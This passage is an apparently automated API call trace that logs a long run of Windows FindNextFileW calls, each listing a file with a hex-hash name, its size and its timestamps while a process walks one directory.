nFileSizeLow=0xc42, dwReserved0=0x0, dwReserved1=0x0, cFileName="34647CED6D78CD19DDE8B8B095D71A8525D25F62", cAlternateFileName="34647C~1")) returned 1 [0211.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30818ec, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc30818ec, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcb02c6f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="3502F57243FBD8F9D25E093A72D603074783A304", cAlternateFileName="3502F5~1")) returned 1 [0211.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc69a5eeb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="356FCE9F932692DC643481DBA1ABEA937B629F58", cAlternateFileName="356FCE~1")) returned 1 [0211.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="37D63D8E3209E1320DA8FE39BB8886154CC74653", cAlternateFileName="37D63D~1")) returned 1 [0211.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcadc5135, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="39CC8AA9054EC6244CA281EEA4BD937517E2861D", cAlternateFileName="39CC8A~1")) returned 1 [0211.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefd, dwReserved0=0x0, dwReserved1=0x0, cFileName="3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59", cAlternateFileName="3A0ECB~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x0, dwReserved1=0x0, cFileName="3A24CBE07E70F6A875538D4584254A734BA5E7FE", cAlternateFileName="3A24CB~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x0, cFileName="3A4E2A71FA2039E9791193EE5E177FC69FFD31AD", cAlternateFileName="3A4E2A~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc61e643d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc61e643d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x128b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3AE6C68D35ADDCA7C407967B028013E0D14C1CAA", cAlternateFileName="3AE6C6~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4806032, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4806032, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4806032, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x15e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="3BEE3D0AFFDC410177D8F779928D53F5B4B92118", cAlternateFileName="3BEE3D~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6919750, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6919750, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692472e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83", cAlternateFileName="3CA20D~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DCFED4321069AB90BA910DD348E0CD9794C6635", cAlternateFileName="3DCFED~1")) returned 1 [0211.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x73, dwReserved0=0x0, dwReserved1=0x0, cFileName="3E42820479FADF666581B0704FA4AF901AE0E045", cAlternateFileName="3E4282~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435f53f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435f53f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="3E538CAC2C914514ECC5B580E31B0737FF540EB1", cAlternateFileName="3E538C~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43383676, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43383676, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43383676, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="3E96AE69B2C845D9D81E26B170F62BCD71497329", cAlternateFileName="3E96AE~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1100, dwReserved0=0x0, dwReserved1=0x0, cFileName="3E98EE3664479D9428247C5B706A39C5F495B7AE", cAlternateFileName="3E98EE~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ae95de, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x44ae95de, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44c19b26, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x57af, dwReserved0=0x0, dwReserved1=0x0, cFileName="3FD2DE34D9F3B37F5EE298934463B811B5F45B88", cAlternateFileName="3FD2DE~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1a4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="4041F3B87A7EBA953DFE4576B8DB14478B01F9A4", cAlternateFileName="4041F3~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="407EB4DE353DE3AD4E1A29F0E0E84F65C2CE6E3A", cAlternateFileName="407EB4~1")) returned 1 [0211.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="43A641B524487AFDAC7A8AF548EE196228BF6EAE", cAlternateFileName="43A641~1")) returned 1 [0211.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33565af, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc33565af, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xca6c2fff, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x119f, dwReserved0=0x0, dwReserved1=0x0, cFileName="44437BAE601C72F5ED96953EAE92C527D4C2D46F", cAlternateFileName="44437B~1")) returned 1 [0211.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="445E695F447CA967C4DAE00C80034130290F80EA", cAlternateFileName="445E69~1")) returned 1 [0211.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x0, dwReserved1=0x0, cFileName="45461427D6D9EC3BD8D179493325388E78C31FA4", cAlternateFileName="454614~1")) returned 1 [0211.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="45C64E5C2E9809667C5FC9F06FC42641326DF768", cAlternateFileName="45C64E~1")) returned 1 [0211.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="46DBA23158169F447D071A5138BFF6E70402F9D1", cAlternateFileName="46DBA2~1")) returned 1 [0211.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc449f849, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc449f849, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc449f849, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="47005A21A17AFE54769573B5138702C9FB8E0E87", cAlternateFileName="47005A~1")) returned 1 [0211.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387beb1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x387beb1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x389ba70, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="4764521F6FB23F694297C1319251B844AE508AB7", cAlternateFileName="476452~1")) returned 1 [0211.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42fbcea, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc42fbcea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcb257f55, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xba06, dwReserved0=0x0, dwReserved1=0x0, cFileName="47D194343D81BB87B63E3776058D0709ADA9FE0B", cAlternateFileName="47D194~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84060c4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc84060c4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc842c220, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="483516ABA24A455AA0EF7181B6F831FC7494E7A3", cAlternateFileName="483516~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44f10e1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x44f10e1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e77b24, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x0, dwReserved1=0x0, cFileName="4851C58D9C640F303B306BABB9DBE67261F15F08", cAlternateFileName="4851C5~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x441ab626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x441ab626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x441ab626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x0, dwReserved1=0x0, cFileName="48D18A403364708B74676D0C5068809EE47BCF43", cAlternateFileName="48D18A~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x491d, dwReserved0=0x0, dwReserved1=0x0, cFileName="491DECD15F6DA1F39C25E411B302418495F1B28F", cAlternateFileName="491DEC~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d595830, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d595830, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2d595830, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="49772025B554A1B58F236C062A67C6F401269337", cAlternateFileName="497720~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa907ce07, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa907ce07, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa907ce07, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="4996B3A4E4609BF5C760674E0477DC3B5B31E7BB", cAlternateFileName="4996B3~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45425a1e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45425a1e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4544bc83, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="49BEF680B849DB26256F9DA3DDFF8948DC33EB78", cAlternateFileName="49BEF6~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ce6ad8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43ce6ad8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43ce6ad8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4A46AC76F0CCC4293CC380999116F3B7911F85BE", cAlternateFileName="4A46AC~1")) returned 1 [0211.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B18B5ADA8BF2E475961694931BE215AED8ECBD5", cAlternateFileName="4B18B5~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79724a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x79724a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BA0471095F4C3DB3F7C817993B07112EBDB3F59", cAlternateFileName="4BA047~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113c, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF", cAlternateFileName="4BA0EA~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45793056, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45793056, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x457b9283, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C2BFD9D85D0C1B7527A1BAD0613676DA6222786", cAlternateFileName="4C2BFD~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fead850, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fead850, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fead850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xada, dwReserved0=0x0, dwReserved1=0x0, cFileName="4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5", cAlternateFileName="4D7A41~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f92a134, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f92a134, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f92a134, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4E4FE439C561F79240EC3AB7AE886C122ADED94A", cAlternateFileName="4E4FE4~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3bd4bec, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3bd4bec, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3bd4bec, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4E62B77ABD78ADC557B61986D9E366B41273F2AE", cAlternateFileName="4E62B7~1")) returned 1 [0211.803] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a8452e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43a8452e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43a8452e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, 